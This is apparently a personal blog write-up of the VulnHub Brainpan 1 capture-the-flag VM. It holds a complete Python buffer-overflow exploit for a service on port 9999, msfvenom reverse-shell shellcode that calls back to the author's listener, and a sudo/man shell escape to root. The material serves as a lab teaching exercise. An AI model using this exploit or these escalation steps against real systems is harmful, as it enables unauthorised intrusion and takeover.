Craniocerebral injury; brainpan style
It would come to no surprise to most of you that I am addicted to boot2root challenges. Every day I learn something new, and every day I become more and more inspired and passionate about the infosec landscape.
Recently I took part in my first boot2root CTF, VulnHub’s Sokar challenge. Having completed the challenge (the write-up will be published once the competition is over), I find myself in a place of limbo. It is another week before the challenge ends and the results are announced, and there is also the second CrikeyCon conference coming up in a weeks time. It feels like Christmas to me and I cannot sleep due to all the excitement, so I need something to help pass the time. Sounds to me like a good excuse to fire up another boot2root challenge and continue wandering along this learning curve.
Introducing brainpan 1, by @superkojiman.
After attempting various hacking challenges, I was inspired to come up with my own. Brainpan is my attempt at a vulnerable virtual machine. Your goal is to break in and get root access.
With introductions over, let’s get to work!
Netdiscover:
1 2 3 4 5 6 7 8 9 10 11 |
root@omerta-ctf:~/vulnhub/brainpan1# netdiscover -r 172.16.66.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 172.16.66.1 00:50:56:c0:00:13 01 060 VMWare, Inc. 172.16.66.138 00:0c:29:04:df:01 01 060 VMware, Inc. 172.16.66.254 00:50:56:e3:60:bd 01 060 VMWare, Inc. |
Nmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
root@omerta-ctf:~/vulnhub/brainpan1# nmap -sT -v -T4 -Pn -n -p - 172.16.66.138 --reason Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-13 19:00 EST Initiating Connect Scan at 19:00 Scanning 172.16.66.138 [65535 ports] Discovered open port 10000/tcp on 172.16.66.138 Discovered open port 9999/tcp on 172.16.66.138 Completed Connect Scan at 19:00, 1.32s elapsed (65535 total ports) Nmap scan report for 172.16.66.138 Host is up, received user-set (0.00051s latency). Not shown: 65533 closed ports Reason: 65533 conn-refused PORT STATE SERVICE REASON 9999/tcp open abyss syn-ack 10000/tcp open snet-sensor-mgmt syn-ack Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds |
We’ll start by checking out if anything responds on port 9999:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
root@omerta-ctf:~/vulnhub/brainpan1# nc 172.16.66.138 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> |
Entering ‘password’ gives us an “ACCESS DENIED” message and the program exits. No problems, we’ll come back to this.
Let’s take a look at what is listening on port 10000.
1 2 3 4 5 6 7 8 9 10 11 |
root@omerta-ctf:~/vulnhub/brainpan1# nc 172.16.66.138 10000 ? <head> <title>Error response</title> </head> <body> <h1>Error response</h1> <p>Error code 400. <p>Message: Bad request syntax ('?'). <p>Error code explanation: 400 = Bad request syntax or unsupported method. </body> |
A web server of some form. Let’s take a closer look in a browser.
Nothing overly exciting there. If you have read any of my previous writeups you’ll know what time it is. WFuzz! Come on down!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@omerta-ctf:~/vulnhub/brainpan1# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/big.txt --hc 404 http://172.16.66.138:10000/FUZZ ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://172.16.66.138:10000/FUZZ Payload type: file,/usr/share/wfuzz/wordlist/general/big.txt Total requests: 3036 ================================================================== ID Response Lines Word Chars Request ================================================================== 00642: C=301 0 L 0 W 0 Ch " - bin" |
We don’t need to be prompted here… let’s take a look at what is in the bin
directory.
A windows executable; that’s something different. It’s time for a game of choose your own adventure!! Do we take a further look at what’s behind door number 9999, or door number 10000? And the winner is…. 10000. Ok, let’s download the brainpain.exe binary and take a look.
Firstly, is the file a true PE executable or does it have a hidden surprise?
1 2 |
root@omerta-ctf:~/vulnhub/brainpan1# file brainpan.exe brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows |
Ok. A standard windows executable. Next, let’s give it a once over with the ever reliable strings
tool.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
root@omerta-ctf:~/vulnhub/brainpan1# strings brainpan.exe [^_] AAAA AAAA AAAA AAAA AAAA AAAA AAAA AAAA [^_] [get_reply] s = [%s] [get_reply] copied %d bytes to buffer shitstorm _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> ACCESS DENIED ACCESS GRANTED [+] initializing winsock... [!] winsock init failed: %d done. [!] could not create socket: %d [+] server socket created. [!] bind failed: %d [+] bind done on port %d [+] waiting for connections. [+] received connection. [+] check is %d [!] accept failed: %d [+] cleaning up. -LIBGCCW32-EH-3-SJLJ-GTHR-MINGW32 w32_sharedptr->size == sizeof(W32_EH_SHARED) ../../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c GetAtomNameA (atom, s, sizeof(s)) != 0 AddAtomA ExitProcess FindAtomA GetAtomNameA SetUnhandledExceptionFilter __getmainargs __p__environ __p__fmode __set_app_type _assert _cexit _iob _onexit _setmode abort atexit free malloc memset printf signal strcmp strcpy strlen WSACleanup WSAGetLastError WSAStartup accept bind closesocket htons listen recv send socket KERNEL32.dll msvcrt.dll WS2_32.DLL |
Nice! A couple of things stand out here for me:
- This brainpan.exe looks the same as our listening process on port 9999
Line 14: shitstorm
– This looks like the password to meLine 65: strcpy
– Possible buffer overflow attack vector
Obviously, we should try the possible password shitstorm
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
root@omerta-ctf:~/vulnhub/brainpan1# nc 172.16.66.138 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> shitstorm ACCESS GRANTED |
ACCESS GRANTED
, and then a return. Hmm… How about we check out the strcpy
function. Whilst there is Evan’s Debugger and Ollydbg (executed via wine) available for linux, I choose to use Immunity Debugger in a windows environment for ‘windozy’ type tasks. I also use Corelan Team’s Immunity Debugger pycommand mona.py addon. If you would like to support my learning and my site, feel free to buy me a copy of IDA Pro if you wish :)
Disclaimer: For those of you that already know how to perform a simple strcpy
buffer overflow, you can quickly step over the next section as it will be quite lengthy and ‘user-friendly’ per se. I have chosen to include plenty of fuzzing code and details for each step so that anyone new to this type of attack vector can easily learn and hopefully understand the process.
Time to use my trusty quick fuzzer to see if we can get our input to cause a segfault. This is a bit of code I use often and amend with shellcode and registers as we progress. Simple, but effective.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
#!/usr/bin/python # etFuzz.py - Xerubus' malleable fuzzer import sys,socket victim = '172.16.66.128' port = 9999 junk = "\x41" * 1000 payload = junk s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "[-] Connecting to " + str(victim) s.connect((victim, port)) s.recv(1024) # Send payload print "[-] Sending payload.... ", s.send(payload) print "Done" except: print "[-] Unable to connect to " + str(victim) sys.exit(0) |
Time to run brainpan.exe
and attach to the process with Immunity Debugger. With the process listening on our windows machine, let’s throw our 1000 fuzzing A’s (\x41) at port 9999 and see if we get a segfault.
1 2 3 |
root@omerta-ctf:~/vulnhub/brainpan1# ./etFuzz.py [-] Connecting to 172.16.66.128 [-] Sending payload.... Done |
BAM! We caused the segfault we wanted, and as you can see we have successfully overwritten eip
with our fuzzy A’s. Time to take control and have some fun.
Next step, how many bytes do we need to fill our buffer with in order to get us to eip
? As in my previous writeups, I like to use Metasploit’s pattern tools for this activity. Let’s create a pattern to start with.
1 2 |
root@omerta-ctf:~/vulnhub/brainpan1# /usr/share/metasploit-framework/tools/pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B |
We’ll add this to our fuzzing script, replacing our junk of A’s with the pattern output.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
#!/usr/bin/python # etFuzz.py - Xerubus' malleable fuzzer import sys,socket victim = '172.16.66.128' port = 9999 #junk = "\x41" * 1000 junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" payload = junk s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "[-] Connecting to " + str(victim) s.connect((victim, port)) s.recv(1024) # Send payload print "[-] Sending payload.... ", s.send(payload) print "Done" except: print "[-] Unable to connect to " + str(victim) sys.exit(0) |
Next. Restart the brainpan.exe
process, re-attach to the process, and send the fuzzing script to the listener.
Once again, we have overwritten eip
successfully. Take note of the instruction pointer address 35724134
, and we’ll push that into Metasploit’s pattern offset tool, which will give us the number of bytes we need to send to our buffer in order to control eip
.
1 2 |
root@omerta-ctf:~/vulnhub/brainpan1# /usr/share/metasploit-framework/tools/pattern_offset.rb 35724134 [*] Exact match at offset 524 |
Great! We know we need exactly 524 bytes of ‘junk’ to get us to eip
. Let’s edit our fuzzer accordingly and see if we can successfully overwrite eip
with some B’s (\x42). Re-run, re-attach, and launch fuzzer.
Voila! As you can see, we’ve successfully overwritten eip
with our 4 bytes of B’s. So what’s next? Next, we want to see if we can put our own code into esp
. If we can put code into esp
, we will look for a function call named jmp esp
, tell eip
to point at esp
, thus giving us the ability to execute our malicious code stored in esp
. Let’s edit our fuzzer to include a stack of C’s (\x43) in esp
and see if we have space for our potential shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
#!/usr/bin/python # etFuzz.py - Xerubus' malleable fuzzer import sys,socket victim = '172.16.66.128' port = 9999 junk = "\x41" * 524 eip = "\x42" * 4 shellcode = "\x43" * 500 payload = junk + eip + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "[-] Connecting to " + str(victim) s.connect((victim, port)) s.recv(1024) # Send payload print "[-] Sending payload.... ", s.send(payload) print "Done" except: print "[-] Unable to connect to " + str(victim) sys.exit(0) |
As you can see above, we have successfully filled esp
with our large number of C’s, which lets us know we have some area available to put our shellcode. Let’s see if we can find the address of a jmp esp
function. In Immunity Debugger, use ctrl-f
and enter the search jmp esp
. As you can see below the address of our first jmp esp
is 311712F3
.
Next step, let’s generate some shellcode to test that our proof-of-concept (PoC) actually works. As the box we are testing our PoC against is a windoZe machine, we’ll generate a simple windows reverse shell using msfvenom
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
root@omerta-ctf:~/vulnhub/brainpan1# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.66.132 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b '\x00' -t cNo platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 0 compatible encoders [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1) unsigned char buf[] = "\xb8\x17\xa2\x0d\xd1\xd9\xc4\xd9\x74\x24\xf4\x5e\x29\xc9\xb1" "\x4f\x31\x46\x14\x03\x46\x14\x83\xee\xfc\xf5\x57\xf1\x39\x70" "\x97\x0a\xba\xe2\x11\xef\x8b\x30\x45\x7b\xb9\x84\x0d\x29\x32" "\x6f\x43\xda\xc1\x1d\x4c\xed\x62\xab\xaa\xc0\x73\x1a\x73\x8e" "\xb0\x3d\x0f\xcd\xe4\x9d\x2e\x1e\xf9\xdc\x77\x43\xf2\x8c\x20" "\x0f\xa1\x20\x44\x4d\x7a\x41\x8a\xd9\xc2\x39\xaf\x1e\xb6\xf3" "\xae\x4e\x67\x88\xf9\x76\x03\xd6\xd9\x87\xc0\x05\x25\xc1\x6d" "\xfd\xdd\xd0\xa7\xcc\x1e\xe3\x87\x82\x20\xcb\x05\xdb\x65\xec" "\xf5\xae\x9d\x0e\x8b\xa8\x65\x6c\x57\x3d\x78\xd6\x1c\xe5\x58" "\xe6\xf1\x73\x2a\xe4\xbe\xf0\x74\xe9\x41\xd5\x0e\x15\xc9\xd8" "\xc0\x9f\x89\xfe\xc4\xc4\x4a\x9f\x5d\xa1\x3d\xa0\xbe\x0d\xe1" "\x04\xb4\xbc\xf6\x3e\x97\xa8\x3b\x0c\x28\x29\x54\x07\x5b\x1b" "\xfb\xb3\xf3\x17\x74\x1d\x03\x57\xaf\xd9\x9b\xa6\x50\x19\xb5" "\x6c\x04\x49\xad\x45\x25\x02\x2d\x69\xf0\x84\x7d\xc5\xab\x64" "\x2e\xa5\x1b\x0c\x24\x2a\x43\x2c\x47\xe0\xf2\x6b\xd0\xa7\x15" "\x31\xa5\xd0\x17\xb5\xa4\x9b\x91\x53\xcc\xcb\xf7\xcc\x79\x75" "\x52\x86\x18\x7a\x48\x0e\xb8\xe9\x17\xce\xb7\x11\x80\x99\x90" "\xe4\xd9\x4f\x0d\x5e\x70\x6d\xcc\x06\xbb\x35\x0b\xfb\x42\xb4" "\xde\x47\x61\xa6\x26\x47\x2d\x92\xf6\x1e\xfb\x4c\xb1\xc8\x4d" "\x26\x6b\xa6\x07\xae\xea\x84\x97\xa8\xf2\xc0\x61\x54\x42\xbd" "\x37\x6b\x6b\x29\xb0\x14\x91\xc9\x3f\xcf\x11\xf9\x75\x4d\x33" "\x92\xd3\x04\x01\xff\xe3\xf3\x46\x06\x60\xf1\x36\xfd\x78\x70" "\x32\xb9\x3e\x69\x4e\xd2\xaa\x8d\xfd\xd3\xfe"; |
Next, let’s put it all together. Our payload is going to look like this: {junk} {jmp esp address} {nops + shellcode}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
#!/usr/bin/python # etFuzz.py - Xerubus' malleable fuzzer import sys,socket victim = '172.16.66.128' port = 9999 junk = "\x41" * 524 eip = "\xf3\x12\x17\x31" #jmp esp 311712F3 brainpan.exe shellcode = "\x90" * 13 + ( "\xb8\x17\xa2\x0d\xd1\xd9\xc4\xd9\x74\x24\xf4\x5e\x29\xc9\xb1" "\x4f\x31\x46\x14\x03\x46\x14\x83\xee\xfc\xf5\x57\xf1\x39\x70" "\x97\x0a\xba\xe2\x11\xef\x8b\x30\x45\x7b\xb9\x84\x0d\x29\x32" "\x6f\x43\xda\xc1\x1d\x4c\xed\x62\xab\xaa\xc0\x73\x1a\x73\x8e" "\xb0\x3d\x0f\xcd\xe4\x9d\x2e\x1e\xf9\xdc\x77\x43\xf2\x8c\x20" "\x0f\xa1\x20\x44\x4d\x7a\x41\x8a\xd9\xc2\x39\xaf\x1e\xb6\xf3" "\xae\x4e\x67\x88\xf9\x76\x03\xd6\xd9\x87\xc0\x05\x25\xc1\x6d" "\xfd\xdd\xd0\xa7\xcc\x1e\xe3\x87\x82\x20\xcb\x05\xdb\x65\xec" "\xf5\xae\x9d\x0e\x8b\xa8\x65\x6c\x57\x3d\x78\xd6\x1c\xe5\x58" "\xe6\xf1\x73\x2a\xe4\xbe\xf0\x74\xe9\x41\xd5\x0e\x15\xc9\xd8" "\xc0\x9f\x89\xfe\xc4\xc4\x4a\x9f\x5d\xa1\x3d\xa0\xbe\x0d\xe1" "\x04\xb4\xbc\xf6\x3e\x97\xa8\x3b\x0c\x28\x29\x54\x07\x5b\x1b" "\xfb\xb3\xf3\x17\x74\x1d\x03\x57\xaf\xd9\x9b\xa6\x50\x19\xb5" "\x6c\x04\x49\xad\x45\x25\x02\x2d\x69\xf0\x84\x7d\xc5\xab\x64" "\x2e\xa5\x1b\x0c\x24\x2a\x43\x2c\x47\xe0\xf2\x6b\xd0\xa7\x15" "\x31\xa5\xd0\x17\xb5\xa4\x9b\x91\x53\xcc\xcb\xf7\xcc\x79\x75" "\x52\x86\x18\x7a\x48\x0e\xb8\xe9\x17\xce\xb7\x11\x80\x99\x90" "\xe4\xd9\x4f\x0d\x5e\x70\x6d\xcc\x06\xbb\x35\x0b\xfb\x42\xb4" "\xde\x47\x61\xa6\x26\x47\x2d\x92\xf6\x1e\xfb\x4c\xb1\xc8\x4d" "\x26\x6b\xa6\x07\xae\xea\x84\x97\xa8\xf2\xc0\x61\x54\x42\xbd" "\x37\x6b\x6b\x29\xb0\x14\x91\xc9\x3f\xcf\x11\xf9\x75\x4d\x33" "\x92\xd3\x04\x01\xff\xe3\xf3\x46\x06\x60\xf1\x36\xfd\x78\x70" "\x32\xb9\x3e\x69\x4e\xd2\xaa\x8d\xfd\xd3\xfe") payload = junk + eip + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "[-] Connecting to " + str(victim) s.connect((victim, port)) s.recv(1024) # Send payload print "[-] Sending payload.... ", s.send(payload) print "Done" except: print "[-] Unable to connect to " + str(victim) sys.exit(0) |
Start up the brainpan.exe
process, create our netcat listener on port 443, and let’s test out our PoC code.
1 2 3 4 5 6 7 |
root@omerta-ctf:~# nc -nvlp 443 listening on [any] 443 ... connect to [172.16.66.132] from (UNKNOWN) [172.16.66.128] 1093 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop> |
Good stuff…. we have a reverse TCP connection to our windows machine. Time to create a linux reverse shell.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
root@omerta-ctf:~/vulnhub/brainpan1# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.66.132 LPORT=443 R | msfencode -e x86/alpha_upper -b "\x00" No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload Found 0 compatible encoders [*] x86/alpha_upper succeeded with size 205 (iteration=1) buf = "\x89\xe0\xda\xd6\xd9\x70\xf4\x5e\x56\x59\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" + "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" + "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" + "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x36\x51\x49" + "\x4b\x4b\x47\x4d\x33\x51\x43\x51\x53\x30\x53\x43\x5a\x53" + "\x32\x4b\x39\x4b\x51\x58\x30\x42\x46\x58\x4d\x4d\x50\x4a" + "\x33\x36\x39\x48\x30\x57\x4f\x38\x4d\x4b\x30\x57\x39\x43" + "\x49\x4c\x39\x55\x38\x4e\x4c\x32\x30\x50\x42\x4d\x54\x42" + "\x48\x45\x52\x35\x50\x53\x31\x4f\x4b\x4d\x59\x4b\x51\x38" + "\x30\x55\x36\x50\x50\x50\x51\x31\x43\x4f\x43\x35\x53\x4d" + "\x59\x4b\x51\x48\x4d\x4d\x50\x30\x52\x33\x58\x56\x4f\x56" + "\x4f\x53\x43\x43\x58\x53\x58\x56\x4f\x32\x42\x42\x49\x52" + "\x4e\x4b\x39\x4a\x43\x56\x32\x51\x43\x4d\x59\x4d\x31\x48" + "\x30\x34\x4b\x48\x4d\x4d\x50\x41\x41" |
Update the PoC script with the victim host’s IP address and updated shellcode, create a new netcat listener on port 443, and execute accordingly.
1 2 3 4 5 6 7 8 9 10 |
root@omerta-ctf:~# nc -nvlp 443 listening on [any] 443 ... connect to [172.16.66.132] from (UNKNOWN) [172.16.66.138] 46152 id uid=1002(puck) gid=1002(puck) groups=1002(puck) python -c 'import pty; pty.spawn("/bin/bash")' puck@brainpan:/home/puck$ whoami whoami puck puck@brainpan:/home/puck$ |
Success! We now have a low privileged shell on our victim machine. Let’s continue.
We’ll take a look in the home directory to see if there is anything interesting…. nope. The only thing noticeable is that there is a script which restarts the web service should it die, as well as the root of the web service running on port 10000.
Do we have any special permissions we can use with sudo
?
1 2 3 4 5 6 7 8 |
puck@brainpan:/home/puck$ sudo -l sudo -l Matching Defaults entries for puck on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User puck may run the following commands on this host: (root) NOPASSWD: /home/anansi/bin/anansi_util |
anansi_util
with NOPASSWD
? Interesting. Let’s take a closer look.
1 2 3 4 5 6 7 |
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util sudo /home/anansi/bin/anansi_util Usage: /home/anansi/bin/anansi_util [action] Where [action] is one of: - network - proclist - manual [command] |
The - manual [command]
part stands out immediatley. Let’s see if we can run a [command]
with root privileges.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual /bin/sh sudo /home/anansi/bin/anansi_util manual /bin/sh /usr/bin/man: manual-/bin/sh: No such file or directory /usr/bin/man: manual_/bin/sh: No such file or directory No manual entry for manual WARNING: terminal is not fully functional - (press RETURN) DASH(1) BSD General Commands Manual DASH(1) NAME dash — command interpreter (shell) SYNOPSIS dash [-aCefnuvxIimqVEb] [+aCefnuvxIimqVEb] [-o option_name] [+o option_name] [command_file [argument ...]] dash -c [-aCefnuvxIimqVEb] [+aCefnuvxIimqVEb] [-o option_name] [+o option_name] command_string [command_name [argument ...]] dash -s [-aCefnuvxIimqVEb] [+aCefnuvxIimqVEb] [-o option_name] [+o option_name] [argument ...] DESCRIPTION dash is the standard command interpreter for the system. The current version of dash is in the process of being changed to conform with the POSIX 1003.2 and 1003.2a specifications for the shell. This version has many features which make it appear similar in some respects to the Korn shell, but it is not a Korn shell clone (see ksh(1)). Only features des‐ ignated by POSIX, plus a few Berkeley extensions, are being incorporated into this shell. This man page is not intended to be a tutorial or a complete specification of the shell. Manual page sh(1) line 1 (press h for help or q to quit)!/bin/sh !/bin/sh # id id uid=0(root) gid=0(root) groups=0(root) |
W00T!!!!! We are root! The binary allow us to query a manpage as root, and as such we can use man’s built in ability to run commands inline, such as !/bin/sh
in the above output.
Let’s grab the flag!
1 2 3 4 5 6 7 8 9 10 11 12 |
# cat b.txt cat b.txt _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| http://www.techorganic.com |
Thanks @superkojiman for an enjoyable boot2root. I’ll definitely have a go at Brainpan 2.
VulnHub, as always, thank you for providing such an awesome resource for us all. Good Karma coming your way.
Until next time, tight lines and may you pop shells often.